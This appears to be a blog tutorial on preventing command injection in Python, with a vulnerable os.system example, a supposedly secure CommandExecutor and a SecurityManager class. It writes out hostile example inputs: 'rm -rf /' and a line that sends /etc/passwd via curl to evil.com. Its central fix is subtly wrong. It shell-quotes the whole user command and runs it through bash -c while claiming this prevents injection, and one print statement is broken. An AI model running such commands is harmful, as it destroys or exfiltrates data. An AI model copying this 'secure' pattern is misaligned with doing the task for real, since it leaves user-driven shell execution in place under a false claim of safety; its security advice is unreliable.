Introduction
Dear friends, today I want to share a very important topic - Python code security protection. Have you often heard about systems being hacked or websites leaking user data? As a Python developer, I deeply understand the importance of code security. Today, let's explore together how to write more secure Python code.
Starting with Disaster
Remember the WannaCry ransomware that shocked the world in 2017? It exploited Windows system vulnerabilities, resulting in over 150,000 computers being encrypted worldwide and causing hundreds of millions of dollars in losses. You might ask, what does this have to do with Python? Actually, many similar attacks can be achieved through carefully crafted inputs, which is exactly what we'll discuss today - how to prevent various injection attacks.
Common Pitfalls
Let's look at a simple but dangerous example:
import os
user_input = input("Enter a command: ")
os.system(user_input) # Execute user-provided command
This code looks ordinary, but it's a huge security risk. Why? Imagine what would happen if a user enters rm -rf /? That's right, the entire system could be wiped. Or worse, if they input cat /etc/passwd > stolen.txt && curl http://evil.com/upload?data=$(cat stolen.txt), attackers could steal your system password file.
Secure Transformation
So, how do we transform this code to make it secure? Let's go step by step:
import subprocess
import shlex
import logging
from typing import Optional
class CommandExecutor:
def __init__(self):
self.logger = logging.getLogger(__name__)
self._setup_logging()
def _setup_logging(self):
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
def execute_command(self, command: str) -> Optional[str]:
"""Safely execute command and return output"""
if not command.strip():
self.logger.warning("Received empty command")
return None
# Safely escape the command
safe_command = shlex.quote(command)
self.logger.info(f"Preparing to execute command: {safe_command}")
try:
result = subprocess.run(
["/bin/bash", "-c", safe_command],
check=True,
capture_output=True,
text=True,
timeout=30 # Set timeout
)
self.logger.info("Command executed successfully")
return result.stdout
except subprocess.TimeoutExpired:
self.logger.error(f"Command execution timed out: {safe_command}")
return None
except subprocess.CalledProcessError as e:
self.logger.error(f"Command failed with error code {e.returncode}: {e}")
return None
except Exception as e:
self.logger.error(f"Unexpected error during command execution: {e}")
return None
def main():
executor = CommandExecutor()
while True:
try:
command = input("Enter a command (or 'exit' to quit): ")
if command.lower() == 'exit':
print("Goodbye!")
break
result = executor.execute_command(command)
if result is not None:
print("Command output:")
print(result)
else:
print("Command failed to execute properly")
except KeyboardInterrupt:
print("
Program terminated by user")
break
except Exception as e:
print(f"An error occurred: {e}")
break
if __name__ == "__main__":
main()
This code introduces multiple layers of protection. First, we use shlex.quote() to escape input, which prevents command injection attacks. Second, we use subprocess.run() instead of the unsafe os.system(), allowing better control over command execution. We've also added logging, timeout control, and exception handling, which are essential security features in production environments.
Deep Protection
Security isn't just about preventing command injection; it includes many other aspects. Let's look at a more complete security utility class:
import hashlib
import secrets
import logging
from typing import Optional, Dict, Any
from dataclasses import dataclass
from datetime import datetime
@dataclass
class SecurityContext:
user_id: str
timestamp: datetime
ip_address: str
class SecurityManager:
def __init__(self):
self.logger = logging.getLogger(__name__)
self._setup_logging()
self._failed_attempts: Dict[str, int] = {}
self._blocked_ips: set = set()
def _setup_logging(self):
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',
filename='security.log'
)
def generate_secure_token(self, length: int = 32) -> str:
"""Generate secure random token"""
return secrets.token_hex(length)
def hash_password(self, password: str, salt: Optional[str] = None) -> tuple:
"""Securely hash password"""
if not salt:
salt = secrets.token_hex(16)
# Use PBKDF2 for password hashing
key = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt.encode('utf-8'),
100000 # Number of iterations
)
return (salt, key.hex())
def check_rate_limit(self, ip_address: str, max_attempts: int = 5) -> bool:
"""Check if IP has exceeded rate limit"""
if ip_address in self._blocked_ips:
return False
current_attempts = self._failed_attempts.get(ip_address, 0)
if current_attempts >= max_attempts:
self._blocked_ips.add(ip_address)
self.logger.warning(f"IP {ip_address} has been blocked due to too many failed attempts")
return False
return True
def record_failed_attempt(self, ip_address: str):
"""Record failed attempt"""
self._failed_attempts[ip_address] = self._failed_attempts.get(ip_address, 0) + 1
def validate_input(self, user_input: str, max_length: int = 1000) -> bool:
"""Validate user input"""
if not user_input or len(user_input) > max_length:
return False
# More validation rules can be added here
return True
def log_security_event(self, context: SecurityContext, event_type: str, details: Dict[str, Any]):
"""Log security event"""
log_entry = {
'timestamp': context.timestamp.isoformat(),
'user_id': context.user_id,
'ip_address': context.ip_address,
'event_type': event_type,
'details': details
}
self.logger.info(f"Security event: {log_entry}")
Practical Application
Now let's see how to use these security tools in real projects:
from datetime import datetime
from typing import Optional
def handle_user_command(
security_manager: SecurityManager,
command_executor: CommandExecutor,
user_id: str,
ip_address: str,
command: str
) -> Optional[str]:
"""Safely handle user commands"""
# Create security context
context = SecurityContext(
user_id=user_id,
timestamp=datetime.now(),
ip_address=ip_address
)
# Check rate limit
if not security_manager.check_rate_limit(ip_address):
security_manager.log_security_event(
context,
'RATE_LIMIT_EXCEEDED',
{'command': command}
)
return None
# Validate input
if not security_manager.validate_input(command):
security_manager.log_security_event(
context,
'INVALID_INPUT',
{'command': command}
)
security_manager.record_failed_attempt(ip_address)
return None
# Execute command
result = command_executor.execute_command(command)
# Log execution result
security_manager.log_security_event(
context,
'COMMAND_EXECUTED',
{
'command': command,
'success': result is not None
}
)
return result
Security Best Practices
After discussing so much code, let's summarize the core principles of Python security programming:
-
Never trust user input. Whether it's command line arguments, network requests, or configuration files, always perform strict validation and escaping.
-
Use the latest security libraries and tools. Python's standard library and third-party packages frequently update security patches, so stay current.
-
Implement multiple layers of protection. Single security measures can be bypassed, so use multiple security mechanisms together.
-
Maintain good logging practices. Security event logs are crucial for post-incident analysis and auditing.
-
Control resource usage. Set reasonable timeouts and resource limits to prevent denial of service attacks.
Deep Thoughts
At this point, I can't help but ask everyone a question: how should we balance security and user experience? Excessive security measures might affect system usability, while overly lenient security policies could bring risks. This is something every developer needs to seriously consider.
Conclusion
Security is always an ongoing process; there's no once-and-for-all solution. As developers, we must stay vigilant and continuously learn new security knowledge and best practices. I hope this article helps you write more secure Python code.
Finally, I want to say that code security isn't just an individual responsibility; it's the responsibility of the entire team and organization. Let's work together to build a more secure software world.
What do you think? Please share your thoughts and experiences in the comments.
Previous 
